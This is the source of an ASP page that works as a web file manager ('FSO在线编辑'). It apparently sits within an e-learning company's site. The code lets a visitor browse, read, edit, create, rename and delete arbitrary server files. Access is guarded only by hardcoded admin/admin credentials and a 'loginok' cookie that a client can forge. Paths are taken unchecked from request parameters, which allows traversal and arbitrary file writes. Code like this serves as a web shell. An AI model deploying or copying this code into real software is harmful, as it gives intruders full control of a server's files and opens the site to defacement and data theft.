<%@ Language=VBscript %> <% if request.QueryString("action")="login" then if request.form("username")="admin" and request.form("password")="admin"then '在此修改用户名和密码 response.cookies("loginok")=true end if end if '******************************************* '过程作用：css 样式 '******************************************* Sub Css() %> <% End Sub response.expires=0 call Css() if request.cookies("loginok")="" then%>

 

 

管理登陆
用户名：
密  码：

<%else%> <% Response.Buffer=true On Error Resume Next Server.ScriptTimeOut = 1000 Response.Expires=0 Dim StartTime,IsReplace',ImageFolder IsReplace = true '是否过滤编辑时文件的标记，如不过滤遇到有标记的文件时编辑有显示不完全的现象 ' ImageFolder = "Fso_image" '存放本程序图标的文件夹，如果要更换图标文件夹请更新这里就可以拉 StatrTime = Timer() %> <% '**************************************** '函数定义部分开始 '**************************************** '******************************************* '过程作用：判断服务器是否支持FSO '******************************************* Sub IsErr() If Err = -2147221005 Then Response.write "这台服务器不支持FSO,故本程序无法运行" Response.end End If End Sub '******************************************* '函数作用：取得文件的后缀名 '******************************************* Function UpDir(ByVal D) Dim UDir If Len(D) = 0 then Exit Function UDir=Left(D,InStrRev(D,"\")-1) UpDir=UDir End Function '******************************************* '函数作用：取得当前页的URL， ' 为文件添加正确的链接 '******************************************* Function FileUrl(url,D) Dim PageUrl,PUrl PageUrl="http://"& Request.ServerVariables("SERVER_NAME") PUrl=Left(Request.ServerVariables("URL"),InStrRev(Request.ServerVariables("Url"),"/")) PageUrl=PageUrl & Purl & Mid(D,2,Len(D)) & "/" & url FileUrl=PageUrl End Function '******************************************* '函数作用：格式化文件的大小 '******************************************* Function GetFileSize(size) Dim FileSize FileSize=size / 1024 FileSize=FormatNumber(FileSize,2) If FileSize < 1024 and FileSize > 1 then GetFileSize="<font color=red>"& FileSize & "</font> KB" ElseIf FileSize >1024 then GetFileSize="<font color=red>"& FormatNumber(FileSize / 1024,2) & "</font> MB" Else GetFileSize="<font color=red>"& Size & "</font> Bytes" End If End Function '******************************************* '函数作用：取得文件的后缀名 '******************************************* Function GetExtensionName(name) Dim FileName FileName=Split(name,".") GetExtensionName=FileName(Ubound(FileName)) End Function '******************************************* '函数作用：返回文件类型 '******************************************* Function GetFileIcon(name) Dim FileName,Icon FileName=Lcase(GetExtensionName(name)) Select Case FileName Case "asp" Icon = "ASP"'.gif" Case "bmp" Icon = "BMP"'.gif" Case "doc" Icon = "DOC"'.gif" Case "exe" Icon = "EXE"'.gif" Case "gif" Icon = "GIF"'.gif" Case "jpg" Icon = "JPG"'.gif" Case "chm" Icon = "CHM"'.gif" Case "htm","html" Icon = "HTM"'.gif" Case "log" Icon = "LOG"'.gif" Case "mdb" Icon = "MDB"'.gif" Case "swf" Icon = "SWF"'.gif" Case "txt" Icon = "TXT"'.gif" Case "wav" Icon = "WAV"'.gif" Case "xls" Icon = "XLS"'.gif" Case "rar","zip" Icon = "RAR"'.gif" Case "css" Icon = "CSS"'.gif" Case "rar" Icon = "RAR"'.gif" Case Else Icon = "不明文件"'.gif" End Select GetFileIcon=Icon End Function '******************************************* '过程作用：删除选定的文件或文件夹 '******************************************* Sub DelAll() Dim FolderId,FileId,ThisDir,FileNum,FolderNum,FilePath,FolderPath FolderId = Split(Request.Form("FolderId"),",") FileId = Split(Request.Form("FileId"),",") ThisDir = trim(Request.Form("ThisDir")) FileNum=0 FolderNum=0 If Ubound(FolderId) <> -1 then '删除文件夹 For i = 0 to Ubound(FolderId) FolderPath = Server.MapPath(".") & ThisDir & "\" & trim(FolderId(i)) If Fso.FolderExists(FolderPath) then Fso.DeleteFolder FolderPath,true FolderNum = FolderNum + 1 End If Next End If If Ubound(FileId) <> -1 then '删除文件 For j = 0 to Ubound(FileId) FilePath = Server.MapPath(".") & ThisDir & "\" & trim(FileId(j)) If Fso.FileExists(FilePath) then Fso.DeleteFile FilePath,true FileNum = FileNum + 1 End If Next End If Response.write "<script>alert('\n恭喜,删除成功\n\n"& FolderNum &" 个文件夹被删除\n"& FileNum &" 个文件被删除');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>" End Sub '******************************************* '过程作用：使选定的文件或文件夹改名 '******************************************* Sub Rname() Dim ThisDir,FolderName,NewName,OldName ThisDir = Trim(Request.Form("ThisDir")) FolderName = Trim(Request.Form("FolderId")) FileName = Trim(Request.Form("FileId")) NewName = Trim(Request.QueryString("NewName")) If len(FolderName) <> 0 then '文件夹改名 NewName1 = Server.MapPath(".") & ThisDir & "\" & NewName OldName = Server.MapPath(".") & ThisDir & "\" & FolderName If not Fso.FolderExists(NewName1) then Fso.MoveFolder OldName,NewName1 Response.write "<script>alert('【 "& FolderName &" 】文件夹已经成功改名为【 "& NewName &" 】');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>" Else Response.write "<script>alert('有同名文件夹，请换个文件夹名');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>" End If End If If len(FileName) <> 0 then '文件改名 NewName1 = Server.MapPath(".") & ThisDir & "\" & NewName OldName = Server.MapPath(".") & ThisDir & "\" & FileName If not Fso.FileExists(NewName1) then Fso.MoveFile OldName,NewName1 Response.write "<script>alert('【 "& FileName &" 】文件已经成功改名【 "& NewName &" 】');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>" Else Response.write "<script>alert('有同名文件，请换个文件名');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>" End If End If End Sub '******************************************* '过程作用：新建文件 '******************************************* Sub NewFile() Dim NewFile,NewFilePath NewFilePath = Trim(Request.Form("ThisDir")) NewFile = Trim(Request.Form("NewFileName")) NewFilePath = Server.MapPath(".") & NewFilePath & "\" & NewFile If not Fso.FileExists(NewFilePath) and not Fso.FolderExists(NewFilePath) then Set FsoFile = Fso.CreateTextFile(NewFilePath) FsoFile.Writeline FsoFile.close Set FsoFile = nothing Response.write "<script>alert('建立文件成功');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>" Else Response.write "<script>alert('有同名文件，请换个文件名');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>" End if End Sub '******************************************* '过程作用：新建文件夹 '******************************************* Sub NewFolder() Dim NewFolder,NewFolderPath NewFolderPath = Trim(Request.Form("ThisDir")) NewFolder = Trim(Request.Form("NewFolderName")) NewFolderPath = Server.MapPath(".") & NewFolderPath & "\" & NewFolder If not Fso.FolderExists(NewFolderPath) then Fso.CreateFolder(NewFolderPath) Response.write "<script>alert('建立文件夹成功');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>" Else Response.write "<script>alert('有同名文件夹，请换个文件夹名');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>" End if End Sub '******************************************* '过程作用：编辑文件 '******************************************* Sub Edit() Dim FilePath,FileName,action Set Fso = Server.CreateObject("Scripting.FileSystemObject") IsErr action=Trim(Request.QueryString("action")) If action = ("Save") then '保存文件 Dim FileSave FilePath = trim(Request.QueryString("FilePath")) FileAll = trim(Request.Form("FileAll")) If IsReplace then FileAll = Replace(FileAll,"\\textarea\\","textarea") If Fso.FileExists(FilePath) then Set FileSave = Fso.OpenTextFile(FilePath,2) FileSave.Write(FileAll) FileSave.Close Response.write "<script>if(confirm('文件已经保存，是否关闭本页')){window.close();}else{history.back();}</script>" Else Response.write "<script>alert('发生错误，文件已经被删除或者损坏！');window.close()</script>" End If ElseIf action = ("Edit") then '读取文件 Dim FileAll FilePath = Trim(Request.Form("ThisDir")) FileName = Trim(Request.Form("FileId")) FilePath1 = Server.MapPath(".") & FilePath & "\" & FileName If Fso.FileExists(FilePath1) then Set FileOpen = Fso.OpenTextFile (FilePath1,1) FileAll = FileOpen.ReadAll FileOpen.close If IsReplace then FileAll = Replace(FileAll,"textarea","\\textarea\\") Else Response.write "<script>alert('发生错误，文件已经被删除或者损坏！');window.close()</script>" End If %> <html> <head> <title>FSO在线编辑</title> <meta name="description" content="思创公司是国内主要的 e-Learning 全方位服务提供商之一，我们专注于为客户提供课件定制，多媒体课件等服务。 "> <meta name="keywords" content="e-learning,课件,课件定制,多媒体课件"> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <% Call Css %> <script language=javascript> function Check() { if(confirm("确定要保存文件么？\n此操作不可恢复！")){ return true; } else{ return false; } } </script></head> <body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0"> <form name="form" method="post" action="?action=Save&FilePath=<%=Server.MapPath(".") & FilePath & "\" & Filename %>" onSubMit="return Check()"> <table width="80%" border="0" cellspacing="0" cellpadding="0" align="center" class="fonts"> <tr> <td> </td> </tr> <tr> <td>系统主目录：<a href=?action=Open&Dir= title=返回到系统主目录><font color=FF6600><b><%=Server.MapPath(".")%></b></font></a></td> </tr> <tr> <td bgcolor="B7CECD" height="1"></td> </tr> <tr> <td height="20" valign="bottom">文件夹：  当前目录：<%=Server.MapPath(".") & FilePath %></td> </tr> <tr> <td bgcolor="B7CECD" height="1"></td> </tr> <tr> <td height="30" valign="middle"> 文件名: <font color=red><b><%=FileName%></b></font>  <select name="select" onChange="FileAll.style.fontSize=this.options[this.options.selectedIndex].value"> <option selected value="12px">字体大小</option> <option value="12px">12px</option> <option value="14px">14px</option> <option value="16px">16px</option> </select> <select name="select2" onChange="FileAll.style.color=this.options[selectedIndex].value"> <option selected value="#000000">颜色</option> <option value="#666666">灰色</option> <option value="#ff0000">红色</option> <option value="#087100">绿色</option> </select>      </td> </tr> <tr> <td bgcolor="B7CECD" height="1" id="a11"></td> </tr> <tr> <td><table cellpadding=3 cellspac=0 class=fonts><tr><td> <textarea id="FileAll" name="FileAll" cols="100" rows="20" class=textbox style="word-break: break-all; width: 700px; height: 380px;""><%=FileAll%>
<% End If Set Fso = nothing End Sub '**************************************** '函数定义部分结束 '**************************************** %> <% Dim Fso,FsoFile,FileType,FileSize,FileTime,Path Dim Dir action=Trim(Request.QueryString("action")) Set Fso=Server.CreateObject("Scripting.FileSystemObject") IsErr If action = "Del" then Call DelAll ElseIf action = "NewFile" then Call NewFile ElseIf action = "NewFolder" then Call NewFolder ElseIf action = "Rname" then Call Rname ElseIf action = "Edit" then Call Edit ElseIf action = "Save" then Call Edit Else Dir=Trim(Request.QueryString("Dir")) Path = Server.MapPath(".") & Dir Set FsoFile = Fso.GetFolder(Server.MapPath(".")) FsoFileSize = FsoFile.size '空间大小统计 Set FsoFile = nothing Set FsoFile = Fso.GetFolder(Path) %> <% Call Css %>

系统主目录：<%=Server.MapPath(".")%>   空间占用：<%=GetFileSize(FsoFileSize)%>

>上  当前目录：<%=Server.MapPath(".") & Dir %>      占用空间：<%=GetFileSize(FsoFile.size)%>  其中包含 <%=FsoFile.SubFolders.count%> 个文件夹； <%=FsoFile.Files.count%> 个文件

新建文件夹：       新建文件：

<% For Each DirFolder in FsoFile.SubFolders FolderName=DirFolder.name FolderSize=GetFileSize(DirFolder.size) FolderTime=DirFolder.DateLastModified %> <% Next %> <% For Each DirFiles in FsoFile.Files FileName=DirFiles.name FileType=GetFileIcon(FileName) FileSize=GetFileSize(DirFiles.size) FileTime=DirFiles.DateLastModified %> <% Next %>    文件/文件夹名 类型 文件大小 最后修改时间  \<%=FolderName%>><%=FolderName%> 文件夹 <%=FolderSize%> <%=FolderTime%>   title="预览文件" target=_blank><%=FileName%> <%=FileType%>文件 <%=FileSize%> <%=FileTime%>

程序制作：Lukin  程序运行时间：<%=FormatNumber((Timer()-StatrTime)*1000,3) %> 毫秒

<% End If Set FsoFile = nothing Set Fso = nothing %> <%end if%>